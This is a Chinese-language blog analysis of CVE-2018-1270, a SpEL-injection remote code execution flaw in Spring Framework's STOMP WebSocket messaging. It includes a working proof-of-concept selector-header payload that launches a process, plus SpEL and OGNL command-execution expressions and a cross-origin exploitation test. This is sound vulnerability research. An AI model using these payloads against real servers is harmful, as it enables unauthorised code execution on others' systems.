CVE-2018-1270 RCE分析
影响版本
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
漏洞分析
搭建环境
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
用ideal打开commplete
,将src/main/resources/app.js
的connect做如下修改
function connect() {
var header = {"selector":"new java.lang.ProcessBuilder('/Applications/Calculator.app/Contents/MacOS/Calculator').start()"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
}, header);
});
}
运行Application
,在网页端点击connect
,并发送数据,成功利用
漏洞成因
首先看造成漏洞的代码
对java web层面安全比较熟悉的,一眼就能看出来是由expression
,getValue
,setValue
造成的代码执行,我这种菜鸟需要想一想了。
首先造成这种命令执行是由Spring的SPEL表达式造成的,熟悉struts2的很快就会想到OGNL造成的各种各样漏洞。SPEL是Spring专有的EL表达式,为了了解造成漏洞的底层原因,简单了解一下SPEL表达式
SPEL表达式的使用需要如下的支持
- 表达式:表达式是表达式语言的核心,所以表达式语言都是围绕表达式进行的,从我们角度来看是“干什么”;
- 解析器:用于将字符串表达式解析为表达式对象,从我们角度来看是“谁来干”;
- 上下文:表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等,从我们角度看是“在哪干”;
- 根对象及活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象,从我们角度看是“对谁干”。
其中表达式支持非常多的语法,能够造成代码执行的有以下2种
- 类类型表达式
类类型表达式:使用“T(Type)”来表示java.lang.Class实例,“Type”必须是类全限定名,“java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。/java.lang包类访问 Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class); Assert.assertEquals(String.class, result1); //其他包类访问 String expression2 = "T(cn.javass.spring.chapter5.SpELTest)"; Class<String> result2 = parser.parseExpression(expression2).getValue(Class.class); Assert.assertEquals(SpELTest.class, result2); //类静态字段访问 int result3=parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class); Assert.assertEquals(Integer.MAX_VALUE, result3); //类静态方法调用 int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class); Assert.assertEquals(1, result4);
- 类实例化表达式
类实例化同样使用java关键字“new”,类名必须是全限定名,但java.lang包内的类型除外,如String、Integer。public void testConstructorExpression() { ExpressionParser parser = new SpelExpressionParser(); String result1 = parser.parseExpression("new String('haha')").getValue(String.class); Assert.assertEquals("haha", result1); Date result2 = parser.parseExpression("new java.util.Date()").getValue(Date.class); Assert.assertNotNull(result2); }
通过简单的了解,可以得出构造SPEL命令执行大概有两种方式
- 静态方法
... org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')"); ...
- new 对象
... org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()"); ...
现在再来看一下spring-boot-messaging实现中的代码
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
} else {
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
} catch (SpelEvaluationException var13) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
}
} catch (Throwable var14) {
this.logger.debug("Failed to evaluate selector", var14);
}
}
- 利用
sub.getSelectorExpression()
得到selector的表达式 - 利用
Boolean.TRUE.equals(expression.getValue(context, Boolean.class))
获取表达式的值,从而造成命令执行。
作为补充,这里也给出ONGL的命令执行表达式
- getValue造成命令执行
... OgnlContext context = new OgnlContext(); Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot()); ...
- setValue造成命令执行
... OgnlContext context = new OgnlContext(); Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot()); ...
批量利用
首先说一下,根据我有限的知识,这个洞目前来看还没有办法进行批量利用,可能会有,但是我这种菜鸟是没发现。现在来说一下为什么不能批量利用。
为了能够理解下面的解释,需要一点点websocket的知识。webSocket协议提供了通过一个套接字实现服务器和客户端全双工通信的功能。websocket建立通信一般有两个过程
第一步,握手。握手的过程是通过http请求实现的
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
可以发现这个请求比我们正常的http请求多了两个选项
Upgrade: websocket
Connection: Upgrade
这是跟服务器进行协商,我下一步需要使用websocket进行连接,允不允许。如果服务器允许会返回下列信息
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
之后就可以使用websocket客户端和服务器进行愉快的websocket通信了。如果利用java的话,大概的通信流程是这样的
public class ServiceClient {
public static void main(String... argv) {
WebSocketClient webSocketClient = new StandardWebSocketClient();
WebSocketStompClient stompClient = new WebSocketStompClient(webSocketClient);
stompClient.setMessageConverter(new MappingJackson2MessageConverter());
stompClient.setTaskScheduler(new ConcurrentTaskScheduler());
String url = "ws://127.0.0.1:8080/hello";
StompSessionHandler sessionHandler = new MySessionHandler();
stompClient.connect(url, sessionHandler);
new Scanner(System.in).nextLine(); //Don't close immediately.
}
}
其中使用到了stomp协议,简而言之,websocket是底层协议,SockJS是WebSocket的备选方案,也是底层协议,而STOMP是基于websocket(SockJS)的上层协议。这里不懂也没关系,就是一种高层通信协议而已。
websocket通信’过程’特点:
- 没有同源限制
- 没有安全验证
从上面的分析可以知道,websocket既然没有安全验证,而且不受同源策略影响,那么是不是谁都可以来连接了。理论上是这样的,但是有一点我们需要注意,在建立连接前有一个握手的过程,这个握手的过程是有安全验证的。握手不通过是无法进行顺利通信的!在这里也就引伸出了一个安全问题websocket的劫持问题!这里就不详细介绍了,下面参考中有非常详细的介绍。
现在来分析spring-boot-messaging中websocket握手的过程是否进行了验证,为了测试写了如下代码,直接用浏览器打开代码文件
<html>
<head>
</head>
<script src="https://cdn.jsdelivr.net/npm/sockjs-client@1/dist/sockjs.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.js"></script>
<body>
<p> test </p>
</body>
</html>
<script>
select = 'test';
url = 'http://127.0.0.1:8080'
var ws = new SockJS(url);
var stompClient = Stomp.over(ws);
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
</script>
结果
可以发现建立握手过程由于服务器端对http的头部Origin进行同源策略验证(根据Origin的概念,由浏览器发送,无法伪造),最终验证失败,所以从以上得出,以我有限的知识水平没法批量。
总结
第一次分析java框架相关的漏洞,由于自己水,真心累啊=.=,水平有限难免有错,非常欢迎批评指正!
参考
原乌云文章
先知社区chybeta
勾陈安全实验室0c0c0f
表达式语言SpEL
知乎 websocket使用答案
springmvc 使用WebSocket 和 STOMP 实现消息功能
IBM websocket劫持漏洞